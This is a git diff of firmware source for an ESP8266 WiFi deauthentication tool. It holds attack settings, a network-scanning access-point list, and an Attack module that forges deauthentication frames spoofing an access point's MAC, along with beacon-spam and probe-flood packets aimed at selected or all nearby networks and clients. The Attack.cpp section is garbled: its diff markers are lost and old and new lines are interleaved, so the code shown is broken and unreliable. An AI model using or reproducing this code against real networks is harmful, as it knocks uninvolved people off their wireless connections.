#define BUTTON_A 255
|
||||
#endif // ifndef BUTTON_A
|
||||
|
||||
#ifndef BUTTON_B
|
||||
#define BUTTON_B 255
|
||||
#endif // ifndef BUTTON_B
|
||||
|
||||
// ===== Reset ====== //
|
||||
#ifndef RESET_BUTTON
|
||||
#if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#define RESET_BUTTON 0
|
||||
#else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#define RESET_BUTTON 255
|
||||
#endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#endif // ifndef RESET_BUTTON
|
||||
|
||||
// ===== Web ===== //
|
||||
#ifndef WEB_IP_ADDR
|
||||
#define WEB_IP_ADDR (192, 168, 4, 1)
|
||||
#endif // ifndef WEB_IP_ADDR
|
||||
|
||||
#ifndef WEB_URL
|
||||
#define WEB_URL "deauth.me"
|
||||
#endif // ifndef WEB_URL
|
||||
|
||||
// ======== CONSTANTS ========== //
|
||||
// Do not change these values unless you know what you're doing!
|
||||
#define DEAUTHER_VERSION "2.6.1"
|
||||
#define DEAUTHER_VERSION_MAJOR 2
|
||||
#define DEAUTHER_VERSION_MINOR 6
|
||||
#define DEAUTHER_VERSION_REVISION 1
|
||||
|
||||
#define EEPROM_SIZE 4095
|
||||
#define BOOT_COUNTER_ADDR 1
|
||||
#define SETTINGS_ADDR 100
|
||||
|
||||
// ======== AVAILABLE SETTINGS ========== //
|
||||
|
||||
|
||||
/*
|
||||
// ===== ATTACK ===== //
|
||||
#define ATTACK_ALL_CH false
|
||||
#define RANDOM_TX false
|
||||
#define ATTACK_TIMEOUT 600
|
||||
#define DEAUTHS_PER_TARGET 25
|
||||
#define DEAUTH_REASON 1
|
||||
#define BEACON_INTERVAL_100MS true
|
||||
#define PROBE_FRAMES_PER_SSID 1
|
||||
|
||||
// ====== SNIFFER ====== //
|
||||
#define CH_TIME 200
|
||||
#define MIN_DEAUTH_FRAMES 3
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
#define AP_SSID "pwned"
|
||||
#define AP_PASSWD "deauther"
|
||||
#define AP_HIDDEN false
|
||||
#define AP_IP_ADDR {192, 168, 4, 1}
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
#define WEB_ENABLED true
|
||||
#define WEB_CAPTIVE_PORTAL false
|
||||
#define WEB_USE_SPIFFS false
|
||||
#define DEFAULT_LANG "en"
|
||||
|
||||
// ===== CLI ===== //
|
||||
#define CLI_ENABLED true
|
||||
#define CLI_ECHO true
|
||||
|
||||
// ===== LED ===== //
|
||||
#define USE_LED true
|
||||
#define LED_DIGITAL
|
||||
#define LED_RGB
|
||||
#define LED_NEOPIXEL
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_ANODE false
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_G 255
|
||||
#define LED_PIN_B 2
|
||||
|
||||
#define LED_NEOPIXEL_RGB
|
||||
#define LED_NEOPIXEL_GRB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 255
|
||||
|
||||
#define LED_MODE_OFF 0,0,0
|
||||
#define LED_MODE_SCAN 0,0,255
|
||||
#define LED_MODE_ATTACK 255,0,0
|
||||
#define LED_MODE_IDLE 0,255,0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_MY92_DATA 4
|
||||
#define LED_MY92_CLK 5
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9231
|
||||
|
||||
#define LED_DOTSTAR
|
||||
#define LED_NUM 1
|
||||
#define LED_DOTSTAR_CLK 12
|
||||
#define LED_DOTSTAR_DATA 13
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define USE_DISPLAY false
|
||||
#define DISPLAY_TIMEOUT 600
|
||||
#define FLIP_DIPLAY false
|
||||
|
||||
#define SSD1306_I2C
|
||||
#define SSD1306_SPI
|
||||
#define SH1106_I2C
|
||||
#define SH1106_SPI
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 5
|
||||
#define I2C_SCL 4
|
||||
|
||||
#define SPI_RES 5
|
||||
#define SPI_DC 4
|
||||
#define SPI_CS 15
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 255
|
||||
#define BUTTON_DOWN 255
|
||||
#define BUTTON_A 255
|
||||
#define BUTTON_B 255
|
||||
|
||||
// ===== Reset ====== //
|
||||
#define RESET_BUTTON 5
|
||||
|
||||
|
||||
// ===== Web ===== //
|
||||
#define WEB_IP_ADDR (192, 168, 4, 1)
|
||||
#define WEB_URL "deauth.me"
|
||||
|
||||
*/
|
||||
|
||||
|
||||
// ========== ERROR CHECKS ========== //
|
||||
#if LED_MODE_BRIGHTNESS == 0
|
||||
#error LED_MODE_BRIGHTNESS must not be zero!
|
||||
#endif /* if LED_MODE_BRIGHTNESS == 0 */
|
|
@ -1,314 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Accesspoints.h"
|
||||
|
||||
Accesspoints::Accesspoints() {
|
||||
list = new SimpleList<AP>;
|
||||
}
|
||||
|
||||
void Accesspoints::sort() {
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
|
||||
|
||||
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::sortAfterChannel() {
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
|
||||
|
||||
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::add(uint8_t id, bool selected) {
|
||||
list->add(AP{ id, selected });
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::printAll() {
|
||||
prntln(AP_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Accesspoints::printSelected() {
|
||||
prntln(AP_HEADER);
|
||||
int max = selected();
|
||||
|
||||
if (selected() == 0) {
|
||||
prntln(AP_NO_AP_SELECTED);
|
||||
return;
|
||||
}
|
||||
int c = count();
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(AP_TABLE_HEADER);
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) {
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getSSID(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
if (getHidden(num)) {
|
||||
return str(AP_HIDDE_SSID);
|
||||
} else {
|
||||
String ssid = WiFi.SSID(getID(num));
|
||||
ssid = ssid.substring(0, 32);
|
||||
ssid = fixUtf8(ssid);
|
||||
return ssid;
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.channel(getID(num));
|
||||
}
|
||||
|
||||
int Accesspoints::getRSSI(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.RSSI(getID(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getEnc(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.encryptionType(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getEncStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
}
|
||||
|
||||
String Accesspoints::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t* Accesspoints::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Accesspoints::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(getMac(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getHidden(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return WiFi.isHidden(getID(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getID(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return list->get(num).id;
|
||||
}
|
||||
|
||||
void Accesspoints::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
|
||||
prnt(AP_SELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
|
||||
prnt(AP_DESELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(AP_REMOVED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
internal_remove(num);
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::selectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||
prntln(AP_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||
prntln(AP_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::removeAll() {
|
||||
while (count() > 0) internal_remove(0);
|
||||
prntln(AP_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Accesspoints::find(uint8_t id) {
|
||||
int s = list->size();
|
||||
|
||||
for (int i = 0; i < s; i++) {
|
||||
if (list->get(i).id == id) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int Accesspoints::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Accesspoints::selected() {
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||
return c;
|
||||
}
|
||||
|
||||
bool Accesspoints::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(AP_NO_AP_ERROR);
|
||||
prntln((String)num);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Accesspoints::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Accesspoints::internal_select(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, true });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_deselect(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, false });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
|
@ -1,80 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
|
||||
extern Names names;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String fixUtf8(String str);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
struct AP {
|
||||
uint8_t id;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
class Accesspoints {
|
||||
public:
|
||||
Accesspoints();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void add(uint8_t id, bool selected);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
String getSSID(int num);
|
||||
String getNameStr(int num);
|
||||
String getEncStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
uint8_t getEnc(int num);
|
||||
uint8_t getID(int num);
|
||||
int getRSSI(int num);
|
||||
uint8_t* getMac(int num);
|
||||
bool getHidden(int num);
|
||||
bool getSelected(int num);
|
||||
|
||||
int find(uint8_t id);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
SimpleList<AP>* list;
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_remove(int num);
|
||||
};
|
|
@ -1,473 +1,472 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Attack.h"
|
||||
|
||||
#include "settings.h"
|
||||
|
||||
Attack::Attack() {
|
||||
getRandomMac(mac);
|
||||
}
|
||||
|
||||
if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) {
|
||||
// 1s beacon interval
|
||||
beaconPacket[32] = 0xe8;
|
||||
beaconPacket[33] = 0x03;
|
||||
} else {
|
||||
// 100ms beacon interval
|
||||
beaconPacket[32] = 0x64;
|
||||
beaconPacket[33] = 0x00;
|
||||
void Attack::generate() {
|
||||
if (debug) Serial.print("\n generating MACs...");
|
||||
|
||||
Mac _randomBeaconMac;
|
||||
uint8_t _randomMacBuffer[6];
|
||||
beaconAdrs._clear();
|
||||
|
||||
for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
|
||||
do {
|
||||
_randomBeaconMac.randomize();
|
||||
} while (beaconAdrs.add(_randomBeaconMac) >= 0);
|
||||
if (debug) Serial.println("done");
|
||||
|
||||
macListChangeCounter = 0;
|
||||
}
|
||||
|
||||
void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
|
||||
packetSize = 0;
|
||||
for (int i = 0; i < sizeof(deauthPacket); i++) {
|
||||
packet[i] = deauthPacket[i];
|
||||
packetSize++;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
//set target (client)
|
||||
packet[4 + i] = _client._get(i);
|
||||
//set source (AP)
|
||||
packet[10 + i] = packet[16 + i] = _ap._get(i);
|
||||
}
|
||||
|
||||
//set type
|
||||
packet[0] = type;
|
||||
packet[24] = reason;
|
||||
}
|
||||
|
||||
void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
|
||||
packetSize = 0;
|
||||
int ssidLen = _ssid.length();
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
for (int i = 0; i < sizeof(beaconPacket_header); i++) {
|
||||
packet[i] = beaconPacket_header[i];
|
||||
packetSize++;
|
||||
}
|
||||
|
||||
if(settings.beaconInterval){
|
||||
beaconPacket_header[32] = 0xe8;
|
||||
beaconPacket_header[33] = 0x03;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
//set source (AP)
|
||||
packet[10 + i] = packet[16 + i] = _ap._get(i);
|
||||
}
|
||||
|
||||
packet[packetSize] = 0x00;
|
||||
packetSize++;
|
||||
packet[packetSize] = ssidLen;
|
||||
packetSize++;
|
||||
|
||||
for (int i = 0; i < ssidLen; i++) {
|
||||
packet[packetSize] = _ssid[i];
|
||||
packetSize++;
|
||||
}
|
||||
|
||||
for (int i = 0; i < sizeof(beaconPacket_end); i++) {
|
||||
packet[packetSize] = beaconPacket_end[i];
|
||||
packetSize++;
|
||||
}
|
||||
|
||||
packet[packetSize] = _ch;
|
||||
packetSize++;
|
||||
|
||||
if (encrypt) {
|
||||
for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
|
||||
packet[packetSize] = beaconWPA2tag[i];
|
||||
packetSize++;
|
||||
}
|
||||
}
|
||||
|
||||
deauth.time = currentTime;
|
||||
beacon.time = currentTime;
|
||||
probe.time = currentTime;
|
||||
}
|
||||
|
||||
void Attack::start() {
|
||||
stop();
|
||||
prntln(A_START);
|
||||
attackTime = currentTime;
|
||||
attackStartTime = currentTime;
|
||||
accesspoints.sortAfterChannel();
|
||||
stations.sortAfterChannel();
|
||||
running = true;
|
||||
void Attack::buildProbe(String _ssid, Mac _mac) {
|
||||
int len = _ssid.length();
|
||||
if (len > 32) len = 32;
|
||||
packetSize = 0;
|
||||
|
||||
for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
|
||||
packetSize += sizeof(probePacket);
|
||||
|
||||
for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);
|
||||
|
||||
packet[packetSize] = len;
|
||||
packetSize++;
|
||||
|
||||
for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
|
||||
packetSize += len;
|
||||
|
||||
for (int i = 0; i < sizeof(probePacket_RateTag); i++) packet[packetSize + i] = probePacket_RateTag[i];
|
||||
packetSize += sizeof(probePacket_RateTag);
|
||||
}
|
||||
|
||||
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
||||
Attack::beacon.active = beacon;
|
||||
Attack::deauth.active = deauth || deauthAll;
|
||||
Attack::deauthAll = deauthAll;
|
||||
Attack::probe.active = probe;
|
||||
|
||||
Attack::output = output;
|
||||
Attack::timeout = timeout;
|
||||
|
||||
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||
// scan.countSelected() > 0)){
|
||||
if (beacon || probe || deauthAll || deauth) {
|
||||
start();
|
||||
} else {
|
||||
prntln(A_NO_MODE_ERROR);
|
||||
accesspoints.sort();
|
||||
stations.sort();
|
||||
stop();
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::stop() {
|
||||
if (running) {
|
||||
running = false;
|
||||
deauthPkts = 0;
|
||||
beaconPkts = 0;
|
||||
probePkts = 0;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.maxPkts = 0;
|
||||
beacon.maxPkts = 0;
|
||||
probe.maxPkts = 0;
|
||||
packetRate = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
deauth.active = false;
|
||||
beacon.active = false;
|
||||
probe.active = false;
|
||||
prntln(A_STOP);
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::isRunning() {
|
||||
return running;
|
||||
}
|
||||
|
||||
void Attack::updateCounter() {
|
||||
// stop when timeout is active and time is up
|
||||
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||
prntln(A_TIMEOUT);
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
|
||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||
else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
|
||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
}
|
||||
|
||||
// beacon packets per second
|
||||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
|
||||
if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
}
|
||||
|
||||
// probe packets per second
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid;
|
||||
else probe.maxPkts = 0;
|
||||
|
||||
// random transmission power
|
||||
if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
else setOutputPower(20.5f);
|
||||
|
||||
// reset counters
|
||||
deauthPkts = deauth.packetCounter;
|
||||
beaconPkts = beacon.packetCounter;
|
||||
probePkts = probe.packetCounter;
|
||||
packetRate = tmpPacketRate;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
tmpPacketRate = 0;
|
||||
}
|
||||
|
||||
void Attack::status() {
|
||||
char s[120];
|
||||
|
||||
sprintf(s, str(
|
||||
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||
probe.maxPkts);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
String Attack::getStatusJSON() {
|
||||
String json = String(OPEN_BRACKET); // [
|
||||
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(packetRate); // 0
|
||||
json += CLOSE_BRACKET; // ]
|
||||
|
||||
return json;
|
||||
}
|
||||
|
||||
void Attack::update() {
|
||||
if (!running || scan.isScanning()) return;
|
||||
|
||||
apCount = accesspoints.count();
|
||||
stCount = stations.count();
|
||||
nCount = names.count();
|
||||
|
||||
// run/update all attacks
|
||||
deauthUpdate();
|
||||
deauthAllUpdate();
|
||||
beaconUpdate();
|
||||
probeUpdate();
|
||||
|
||||
// each second
|
||||
if (currentTime - attackTime > 1000) {
|
||||
attackTime = currentTime; // update time
|
||||
updateCounter();
|
||||
|
||||
if (output) status(); // status update
|
||||
getRandomMac(mac); // generate new random mac
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthUpdate() {
|
||||
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
if (accesspoints.getSelected(deauth.tc)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
if (stations.getSelected(deauth.tc - apCount)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthAllUpdate() {
|
||||
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::probeUpdate() {
|
||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true);
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::beaconUpdate() {
|
||||
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||
beacon.tc += sendBeacon(beacon.tc);
|
||||
|
||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthStation(int num) {
|
||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthAP(int num) {
|
||||
